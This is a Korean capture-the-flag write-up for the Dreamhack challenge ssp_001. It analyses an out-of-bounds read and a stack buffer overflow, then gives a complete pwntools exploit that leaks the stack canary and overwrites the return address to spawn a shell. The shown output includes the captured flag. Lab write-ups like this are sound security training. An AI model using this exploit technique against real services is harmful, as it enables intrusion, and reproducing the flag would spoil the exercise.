Description
이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
Files
ubuntu@WSL2:~/CTF/dreamhack.io$ tree ssp_001 ssp_001 ├── ssp_001 └── ssp_001.c 0 directories, 2 files
32비트 리눅스용 실행 파일 하나와 소스코드.
분석
int __cdecl main(int argc, const char **argv, const char **envp) { int idx; // [esp+4h] [ebp-94h] BYREF size_t name_len; // [esp+8h] [ebp-90h] BYREF __int16 select; // [esp+Eh] [ebp-8Ah] BYREF char box[64]; // [esp+10h] [ebp-88h] BYREF char name[64]; // [esp+50h] [ebp-48h] BYREF unsigned int v9; // [esp+90h] [ebp-8h] v9 = __readgsdword(0x14u); memset(box, 0, sizeof(box)); memset(name, 0, sizeof(name)); select = 0; idx = 0; name_len = 0; initialize(argv); do { while ( 1 ) { while ( 1 ) { menu(); read(0, &select, 2u); if ( (char)select != 70 ) break; printf("box input : "); read(0, box, 0x40u); } if ( (char)select != 80 ) break; printf("Element index : "); __isoc99_scanf("%d", &idx); print_box(box, idx); } } while ( (char)select != 69 ); printf("Name Size : "); __isoc99_scanf("%d", &name_len); printf("Name : "); read(0, name, name_len); return 0; }
먼저 menu() 함수를 통해 메뉴 목록이 출력되는데,
[F]ill the box
[P]rint the box
[E]xit
이렇게 3가지 메뉴가 존재한다.
F를 입력할 경우, 64바이트만큼 read 함수를 통해 v7을 입력받을 수 있다.
P를 입력할 경우, v7[v4] 1바이트를 출력시키게 되는데, 여기서 Out Of Boundary 취약점이 발생한다.
E를 입력할 경우, Name Size와 Name을 입력받는데 Name을 Name Size만큼 입력받으므로, 여기서 Buffer Overflow 취약점이 발생한다.
풀이
위와 같은 스택 구조를 이루고 있다.
[P]rint the box 메뉴로 Out Of Boundary 취약점을 이용하여,
차례대로 Stack Canary, EBP, RET을 노출시킬 수 있다.
[E]xit 메뉴를 통해 name을 입력받을때, 노출된 Stack Canary 값으로 보호기법을 우회하고 RET 주소를 get_shell 주소로 덮어쓰면 된다.
Solution
from pwn import * # context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 16560) #p = process('./ssp_001') e = ELF('./ssp_001') get_shell = e.symbols['get_shell'] p.recvuntil(b'> ') # #Box Input, A*64 # p.sendline(b'F') # p.recvuntil(b'box input : ') # p.sendline(b'\x41'*64) # p.recvuntil(b'> ') #Leak stack canary #128~131 canary = '' for i in range(4): element_index = 128+i p.sendline(b'P') p.recvuntil(b'Element index : ') p.sendline(str(element_index)) my_byte = p.recvline().split(b' : ')[1][:2] canary += my_byte.decode('utf-8') p.recvuntil(b'> ') canary = u32(bytes.fromhex(canary)) print("[+] canary: " + hex(canary)) #Leak Unknown address? #132~135 unk = '' for i in range(4): element_index = 132+i p.sendline(b'P') p.recvuntil(b'Element index : ') p.sendline(str(element_index)) my_byte = p.recvline().split(b' : ')[1][:2] unk += my_byte.decode('utf-8') p.recvuntil(b'> ') unk = u32(bytes.fromhex(unk)) print("[+] unk: " + hex(unk)) #Leak EBP #136 ~ 139 ebp = '' for i in range(4): element_index = 136+i p.sendline(b'P') p.recvuntil(b'Element index : ') p.sendline(str(element_index)) my_byte = p.recvline().split(b' : ')[1][:2] ebp += my_byte.decode('utf-8') p.recvuntil(b'> ') ebp = u32(bytes.fromhex(ebp)) print("[+] ebp: " + hex(ebp)) #Leak RET #140 ~ 143 ret = '' for i in range(4): element_index = 140+i p.sendline(b'P') p.recvuntil(b'Element index : ') p.sendline(str(element_index)) my_byte = p.recvline().split(b' : ')[1][:2] ret += my_byte.decode('utf-8') p.recvuntil(b'> ') ret = u32(bytes.fromhex(ret)) print("[+] ret: " + hex(ret)) #Name Size: p.sendline(b'E') p.recvuntil(b'Name Size : ') p.sendline(b'41414141') p.recvuntil(b'Name : ') payload = b"A"*64 + p32(canary) + p32(unk) + p32(ebp) + p32(get_shell) p.sendline(payload) #Done, get flag! p.interactive() # p.recvuntil(b'Addr : ') # p.sendline(str(stack_chk_fail_got)) # p.recvuntil(b'Value : ') # p.sendline(str(get_shell)) # p.interactive()
FLAG
DH{00c609773822372daf2b7ef9adbdb824}
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/ssp_001$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 18377: Done [*] '/home/ubuntu/Desktop/dreamhack-CTF/ssp_001/ssp_001' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] canary: 0xdf15fe00 [+] unk: 0xf7edc000 [+] ebp: 0x0 [+] ret: 0xf7d44647 [*] Switching to interactive mode $ ls flag run.sh ssp_001 $ cat flag DH{00c609773822372daf2b7ef9adbdb824}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 18377